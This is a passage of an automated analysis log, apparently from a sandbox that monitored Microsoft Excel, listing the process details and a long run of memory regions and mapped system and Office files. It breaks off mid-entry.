# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Oct 25 2018 12:55:11 # Log Creation Date: 06.11.2018 10:22:42.015 Process: id = "1" image_name = "excel.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\excel.exe" page_root = "0x30584000" os_pid = "0x8f8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 134 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 135 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 136 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 137 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 138 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 139 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 140 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 141 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 142 start_va = 0xf0000 end_va = 0xf6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 143 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 144 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 145 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 146 start_va = 0x130000 end_va = 0x132fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 147 start_va = 0x140000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 148 start_va = 0x150000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 149 start_va = 0x250000 end_va = 0x252fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 150 start_va = 0x260000 end_va = 0x262fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 151 start_va = 0x270000 end_va = 0x272fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 152 start_va = 0x280000 end_va = 0x282fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 153 start_va = 0x290000 end_va = 0x292fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 154 start_va = 0x2a0000 end_va = 0x2a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 155 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 156 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 157 start_va = 0x2d0000 end_va = 0x2d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 158 start_va = 0x2e0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 159 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 160 start_va = 0x3f0000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 161 start_va = 0x430000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 162 start_va = 0x530000 end_va = 0x6b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 163 start_va = 0x6c0000 end_va = 0x840fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 164 start_va = 0x850000 end_va = 0x1c4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 165 start_va = 0x1c50000 end_va = 0x1f1efff entry_point = 0x1c50000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 166 start_va = 0x1f20000 end_va = 0x2312fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f20000" filename = "" Region: id = 167 start_va = 0x2320000 end_va = 0x241ffff entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 168 start_va = 0x2420000 end_va = 0x2424fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002420000" filename = "" Region: id = 169 start_va = 0x2430000 end_va = 0x243ffff entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 170 start_va = 0x2440000 end_va = 0x263ffff entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 171 start_va = 0x2640000 end_va = 0x271efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002640000" filename = "" Region: id = 172 start_va = 0x2720000 end_va = 0x2720fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002720000" filename = "" Region: id = 173 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002730000" filename = "" Region: id = 174 start_va = 0x2740000 end_va = 0x2740fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002740000" filename = "" Region: id = 175 start_va = 0x2750000 end_va = 0x2751fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002750000" filename = "" Region: id = 176 start_va = 0x2760000 end_va = 0x276bfff entry_point = 0x2760000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 177 start_va = 0x2770000 end_va = 0x2777fff entry_point = 0x2770000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 178 start_va = 0x2780000 end_va = 0x27fffff entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 179 start_va = 0x2800000 end_va = 0x28fffff entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 180 start_va = 0x2900000 end_va = 0x290ffff entry_point = 0x2900000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 181 start_va = 0x2910000 end_va = 0x2910fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002910000" filename = "" Region: id = 182 start_va = 0x2920000 end_va = 0x2920fff entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 183 start_va = 0x2930000 end_va = 0x2931fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002930000" filename = "" Region: id = 184 start_va = 0x2940000 end_va = 0x2940fff entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 185 start_va = 0x2950000 end_va = 0x295ffff entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 186 start_va = 0x2960000 end_va = 0x2a5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 187 start_va = 0x2a60000 end_va = 0x2a60fff entry_point = 0x0 region_type = private name = "private_0x0000000002a60000" filename = "" Region: id = 188 start_va = 0x2a70000 end_va = 0x2a70fff entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 189 start_va = 0x2a80000 end_va = 0x2a80fff entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 190 start_va = 0x2a90000 end_va = 0x2b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 191 start_va = 0x2b90000 end_va = 0x3bd7fff entry_point = 0x2b90000 region_type = mapped_file name = "xlintl32.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll") Region: id = 192 start_va = 0x3be0000 end_va = 0x3be0fff entry_point = 0x0 region_type = private name = "private_0x0000000003be0000" filename = "" Region: id = 193 start_va = 0x3bf0000 end_va = 0x3bf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003bf0000" filename = "" Region: id = 194 start_va = 0x3c00000 end_va = 0x3c01fff entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 195 start_va = 0x3c10000 end_va = 0x3c10fff entry_point = 0x0 region_type = private name = "private_0x0000000003c10000" filename = "" Region: id = 196 start_va = 0x3c20000 end_va = 0x3c21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003c20000" filename = "" Region: id = 197 start_va = 0x3c30000 end_va = 0x3c31fff entry_point = 0x0 region_type = private name = "private_0x0000000003c30000" filename = "" Region: id = 198 start_va = 0x3c40000 end_va = 0x3d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c40000" filename = "" Region: id = 199 start_va = 0x3d40000 end_va = 0x3d40fff entry_point = 0x0 region_type = private name = "private_0x0000000003d40000" filename = "" Region: id = 200 start_va = 0x3d50000 end_va = 0x3d51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003d50000" filename = "" Region: id = 201 start_va = 0x3d60000 end_va = 0x3e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d60000" filename = "" Region: id = 202 start_va = 0x3e60000 end_va = 0x3e63fff entry_point = 0x3e60000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 203 start_va = 0x3e70000 end_va = 0x3e73fff entry_point = 0x3e70000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 204 start_va = 0x3e80000 end_va = 0x3e81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e80000" filename = "" Region: id = 205 start_va = 0x3e90000 end_va = 0x3e90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e90000" filename = "" Region: id = 206 start_va = 0x3ea0000 end_va = 0x3eacfff entry_point = 0x3ea0000 region_type = mapped_file name = "comdlg32.dll.mui" filename = "\\Windows\\System32\\en-US\\comdlg32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\comdlg32.dll.mui") Region: id = 207 start_va = 0x3eb0000 end_va = 0x3eb1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003eb0000" filename = "" Region: id = 208 start_va = 0x3ec0000 end_va = 0x3fbffff entry_point = 0x0 region_type = private name = "private_0x0000000003ec0000" filename = "" Region: id = 209 start_va = 0x3fc0000 end_va = 0x3fc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003fc0000" filename = "" Region: id = 210 start_va = 0x3fd0000 end_va = 0x40cffff entry_point = 0x0 region_type = private name = "private_0x0000000003fd0000" filename = "" Region: id = 211 start_va = 0x40d0000 end_va = 0x41cffff entry_point = 0x0 region_type = private name = "private_0x00000000040d0000" filename = "" Region: id = 212 start_va = 0x41d0000 end_va = 0x41fffff entry_point = 0x41d0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 213 start_va = 0x4200000 end_va = 0x4201fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004200000" filename = "" Region: id = 214 start_va = 0x4210000 end_va = 0x4211fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004210000" filename = "" Region: id = 215 start_va = 0x4220000 end_va = 0x4222fff entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 216 start_va = 0x4230000 end_va = 0x4232fff entry_point = 0x0 region_type = private name = "private_0x0000000004230000" filename = "" Region: id = 217 start_va = 0x4240000 end_va = 0x4240fff entry_point = 0x0 region_type = private name = "private_0x0000000004240000" filename = "" Region: id = 218 start_va = 0x4250000 end_va = 0x4250fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004250000" filename = "" Region: id = 219 start_va = 0x4260000 end_va = 0x426ffff entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 220 start_va = 0x4270000 end_va = 0x428ffff entry_point = 0x4270000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db") Region: id = 221 start_va = 0x4290000 end_va = 0x42a0fff entry_point = 0x4290000 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 222 start_va = 0x42b0000 end_va = 0x42b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000042b0000" filename = "" Region: id = 223 start_va = 0x42c0000 end_va = 0x42cffff entry_point = 0x0 region_type = private name = "private_0x00000000042c0000" filename = "" Region: id = 224 start_va = 0x42d0000 end_va = 0x42d0fff entry_point = 0x0 region_type = private name = "private_0x00000000042d0000" filename = "" Region: id = 225 start_va = 0x42e0000 end_va = 0x42e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000042e0000" filename = "" Region: id = 226 start_va = 0x42f0000 end_va = 0x436ffff entry_point = 0x0 region_type = private name = "private_0x00000000042f0000" filename = "" Region: id = 227 start_va = 0x4370000 end_va = 0x446ffff entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 228 start_va = 0x4470000 end_va = 0x4481fff entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 229 start_va = 0x4490000 end_va = 0x4492fff entry_point = 0x0 region_type = private name = "private_0x0000000004490000" filename = "" Region: id = 230 start_va = 0x44a0000 end_va = 0x451ffff entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 231 start_va = 0x4520000 end_va = 0x491ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004520000" filename = "" Region: id = 232 start_va = 0x4920000 end_va = 0x4921fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004920000" filename = "" Region: id = 233 start_va = 0x4930000 end_va = 0x4930fff entry_point = 0x0 region_type = private name = "private_0x0000000004930000" filename = "" Region: id = 234 start_va = 0x4940000 end_va = 0x4a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004940000" filename = "" Region: id = 235 start_va = 0x4a40000 end_va = 0x4a51fff entry_point = 0x0 region_type = private name = "private_0x0000000004a40000" filename = "" Region: id = 236 start_va = 0x4a60000 end_va = 0x4b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a60000" filename = "" Region: id = 237 start_va = 0x4b60000 end_va = 0x4f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b60000" filename = "" Region: id = 238 start_va = 0x4f60000 end_va = 0x4f60fff entry_point = 0x0 region_type = private name = "private_0x0000000004f60000" filename = "" Region: id = 239 start_va = 0x4f70000 end_va = 0x4f70fff entry_point = 0x0 region_type = private name = "private_0x0000000004f70000" filename = "" Region: id = 240 start_va = 0x4f80000 end_va = 0x4f80fff entry_point = 0x0 region_type = private name = "private_0x0000000004f80000" filename = "" Region: id = 241 start_va = 0x4f90000 end_va = 0x4f90fff entry_point = 0x0 region_type = private name = "private_0x0000000004f90000" filename = "" Region: id = 242 start_va = 0x4fa0000 end_va = 0x4fa0fff entry_point = 0x0 region_type = private name = "private_0x0000000004fa0000" filename = "" Region: id = 243 start_va = 0x4fb0000 end_va = 0x50affff entry_point = 0x0 region_type = private name = "private_0x0000000004fb0000" filename = "" Region: id = 244 start_va = 0x50b0000 end_va = 0x50b0fff entry_point = 0x0 region_type = private name = "private_0x00000000050b0000" filename = "" Region: id = 245 start_va = 0x50c0000 end_va = 0x50c0fff entry_point = 0x0 region_type = private name = "private_0x00000000050c0000" filename = "" Region: id = 246 start_va = 0x50d0000 end_va = 0x50d0fff entry_point = 0x0 region_type = private name = "private_0x00000000050d0000" filename = "" Region: id = 247 start_va = 0x50e0000 end_va = 0x51dffff entry_point = 0x0 region_type = private name = "private_0x00000000050e0000" filename = "" Region: id = 248 start_va = 0x51e0000 end_va = 0x51e2fff entry_point = 0x0 region_type = private name = "private_0x00000000051e0000" filename = "" Region: id = 249 start_va = 0x51f0000 end_va = 0x52effff entry_point = 0x0 region_type = private name = "private_0x00000000051f0000" filename = "" Region: id = 250 start_va = 0x52f0000 end_va = 0x5337fff entry_point = 0x0 region_type = private name = "private_0x00000000052f0000" filename = "" Region: id = 251 start_va = 0x5340000 end_va = 0x534ffff entry_point = 0x0 region_type = private name = "private_0x0000000005340000" filename = "" Region: id = 252 start_va = 0x5350000 end_va = 0x535ffff entry_point = 0x0 region_type = private name = "private_0x0000000005350000" filename = "" Region: id = 253 start_va = 0x5360000 end_va = 0x5361fff entry_point = 0x0 region_type = private name = "private_0x0000000005360000" filename = "" Region: id = 254 start_va = 0x5370000 end_va = 0x546ffff entry_point = 0x0 region_type = private name = "private_0x0000000005370000" filename = "" Region: id = 255 start_va = 0x5470000 end_va = 0x5470fff entry_point = 0x0 region_type = private name = "private_0x0000000005470000" filename = "" Region: id = 256 start_va = 0x5480000 end_va = 0x557ffff entry_point = 0x0 region_type = private name = "private_0x0000000005480000" filename = "" Region: id = 257 start_va = 0x5580000 end_va = 0x5d7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005580000" filename = "" Region: id = 258 start_va = 0x5d80000 end_va = 0x5e3ffff entry_point = 0x5d80000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 259 start_va = 0x5e40000 end_va = 0x5e40fff entry_point = 0x0 region_type = private name = "private_0x0000000005e40000" filename = "" Region: id = 260 start_va = 0x5e50000 end_va = 0x5f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000005e50000" filename = "" Region: id = 261 start_va = 0x5f50000 end_va = 0x6292fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f50000" filename = "" Region: id = 262 start_va = 0x62a0000 end_va = 0x631efff entry_point = 0x62a0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 263 start_va = 0x6320000 end_va = 0x6320fff entry_point = 0x0 region_type = private name = "private_0x0000000006320000" filename = "" Region: id = 264 start_va = 0x6330000 end_va = 0x6330fff entry_point = 0x0 region_type = private name = "private_0x0000000006330000" filename = "" Region: id = 265 start_va = 0x6340000 end_va = 0x6340fff entry_point = 0x0 region_type = private name = "private_0x0000000006340000" filename = "" Region: id = 266 start_va = 0x6350000 end_va = 0x6350fff entry_point = 0x0 region_type = private name = "private_0x0000000006350000" filename = "" Region: id = 267 start_va = 0x6360000 end_va = 0x645ffff entry_point = 0x0 region_type = private name = "private_0x0000000006360000" filename = "" Region: id = 268 start_va = 0x6460000 end_va = 0x64dffff entry_point = 0x0 region_type = private name = "private_0x0000000006460000" filename = "" Region: id = 269 start_va = 0x64e0000 end_va = 0x6527fff entry_point = 0x0 region_type = private name = "private_0x00000000064e0000" filename = "" Region: id = 270 start_va = 0x6530000 end_va = 0x6530fff entry_point = 0x0 region_type = private name = "private_0x0000000006530000" filename = "" Region: id = 271 start_va = 0x6540000 end_va = 0x6540fff entry_point = 0x0 region_type = private name = "private_0x0000000006540000" filename = "" Region: id = 272 start_va = 0x6550000 end_va = 0x6550fff entry_point = 0x0 region_type = private name = "private_0x0000000006550000" filename = "" Region: id = 273 start_va = 0x6560000 end_va = 0x6560fff entry_point = 0x0 region_type = private name = "private_0x0000000006560000" filename = "" Region: id = 274 start_va = 0x6570000 end_va = 0x666ffff entry_point = 0x0 region_type = private name = "private_0x0000000006570000" filename = "" Region: id = 275 start_va = 0x6670000 end_va = 0x676ffff entry_point = 0x0 region_type = private name = "private_0x0000000006670000" filename = "" Region: id = 276 start_va = 0x6770000 end_va = 0x6770fff entry_point = 0x0 region_type = private name = "private_0x0000000006770000" filename = "" Region: id = 277 start_va = 0x6780000 end_va = 0x687ffff entry_point = 0x0 region_type = private name = "private_0x0000000006780000" filename = "" Region: id = 278 start_va = 0x6880000 end_va = 0x697ffff entry_point = 0x0 region_type = private name = "private_0x0000000006880000" filename = "" Region: id = 279 start_va = 0x6980000 end_va = 0x6a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000006980000" filename = "" Region: id = 280 start_va = 0x6a80000 end_va = 0x6a80fff entry_point = 0x0 region_type = private name = "private_0x0000000006a80000" filename = "" Region: id = 281 start_va = 0x6a90000 end_va = 0x6a90fff entry_point = 0x0 region_type = private name = "private_0x0000000006a90000" filename = "" Region: id = 282 start_va = 0x6aa0000 end_va = 0x6b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000006aa0000" filename = "" Region: id = 283 start_va = 0x6b20000 end_va = 0x6b20fff entry_point = 0x0 region_type = private name = "private_0x0000000006b20000" filename = "" Region: id = 284 start_va = 0x6b30000 end_va = 0x6b30fff entry_point = 0x0 region_type = private name = "private_0x0000000006b30000" filename = "" Region: id = 285 start_va = 0x6b40000 end_va = 0x6b40fff entry_point = 0x0 region_type = private name = "private_0x0000000006b40000" filename = "" Region: id = 286 start_va = 0x6b50000 end_va = 0x6b50fff entry_point = 0x0 region_type = private name = "private_0x0000000006b50000" filename = "" Region: id = 287 start_va = 0x6b60000 end_va = 0x6b61fff entry_point = 0x0 region_type = private name = "private_0x0000000006b60000" filename = "" Region: id = 288 start_va = 0x6b70000 end_va = 0x6b70fff entry_point = 0x0 region_type = private name = "private_0x0000000006b70000" filename = "" Region: id = 289 start_va = 0x6b80000 end_va = 0x6b80fff entry_point = 0x0 region_type = private name = "private_0x0000000006b80000" filename = "" Region: id = 290 start_va = 0x6b90000 end_va = 0x6b90fff entry_point = 0x0 region_type = private name = "private_0x0000000006b90000" filename = "" Region: id = 291 start_va = 0x6ba0000 end_va = 0x6ba0fff entry_point = 0x0 region_type = private name = "private_0x0000000006ba0000" filename = "" Region: id = 292 start_va = 0x6bb0000 end_va = 0x6c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000006bb0000" filename = "" Region: id = 293 start_va = 0x6c30000 end_va = 0x6c95fff entry_point = 0x6c30000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 294 start_va = 0x6ca0000 end_va = 0x6ca0fff entry_point = 0x0 region_type = private name = "private_0x0000000006ca0000" filename = "" Region: id = 295 start_va = 0x6cb0000 end_va = 0x74affff entry_point = 0x0 region_type = private name = "private_0x0000000006cb0000" filename = "" Region: id = 296 start_va = 0x74b0000 end_va = 0x7caffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000074b0000" filename = "" Region: id = 297 start_va = 0x7cb0000 end_va = 0x7cb1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007cb0000" filename = "" Region: id = 298 start_va = 0x7cc0000 end_va = 0x7cc3fff entry_point = 0x7cc0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 299 start_va = 0x7cd0000 end_va = 0x7dcffff entry_point = 0x0 region_type = private name = "private_0x0000000007cd0000" filename = "" Region: id = 300 start_va = 0x7dd0000 end_va = 0x7dd0fff entry_point = 0x0 region_type = private name = "private_0x0000000007dd0000" filename = "" Region: id = 301 start_va = 0x7de0000 end_va = 0x7de0fff entry_point = 0x0 region_type = private name = "private_0x0000000007de0000" filename = "" Region: id = 302 start_va = 0x7df0000 end_va = 0x7dfffff entry_point = 0x0 region_type = private name = "private_0x0000000007df0000" filename = "" Region: id = 303 start_va = 0x7e00000 end_va = 0x8200fff entry_point = 0x0 region_type = private name = "private_0x0000000007e00000" filename = "" Region: id = 304 start_va = 0x8210000 end_va = 0x8610fff entry_point = 0x0 region_type = private name = "private_0x0000000008210000" filename = "" Region: id = 305 start_va = 0x8620000 end_va = 0x8a20fff entry_point = 0x0 region_type = private name = "private_0x0000000008620000" filename = "" Region: id = 306 start_va = 0x8a30000 end_va = 0x935ffff entry_point = 0x8a30000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 307 start_va = 0x9360000 end_va = 0x955ffff entry_point = 0x0 region_type = private name = "private_0x0000000009360000" filename = "" Region: id = 308 start_va = 0x9560000 end_va = 0xa560fff entry_point = 0x0 region_type = private name = "private_0x0000000009560000" filename = "" Region: id = 309 start_va = 0xa570000 end_va = 0xa800fff entry_point = 0x0 region_type = private name = "private_0x000000000a570000" filename = "" Region: id = 310 start_va = 0xa810000 end_va = 0xac0ffff entry_point = 0x0 region_type = private name = "private_0x000000000a810000" filename = "" Region: id = 311 start_va = 0xac10000 end_va = 0xad0ffff entry_point = 0x0 region_type = private name = "private_0x000000000ac10000" filename = "" Region: id = 312 start_va = 0xad10000 end_va = 0xad10fff entry_point = 0xad10000 region_type = mapped_file name = "{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db") Region: id = 313 start_va = 0xad20000 end_va = 0xad23fff entry_point = 0xad20000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 314 start_va = 0xad30000 end_va = 0xad30fff entry_point = 0xad30000 region_type = mapped_file name = "{0448dc77-1f74-49f5-ba7e-8de74fa55642}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{0448DC77-1F74-49F5-BA7E-8DE74FA55642}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{0448dc77-1f74-49f5-ba7e-8de74fa55642}.2.ver0x0000000000000001.db") Region: id = 315 start_va = 0xad40000 end_va = 0xad43fff entry_point = 0xad40000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: 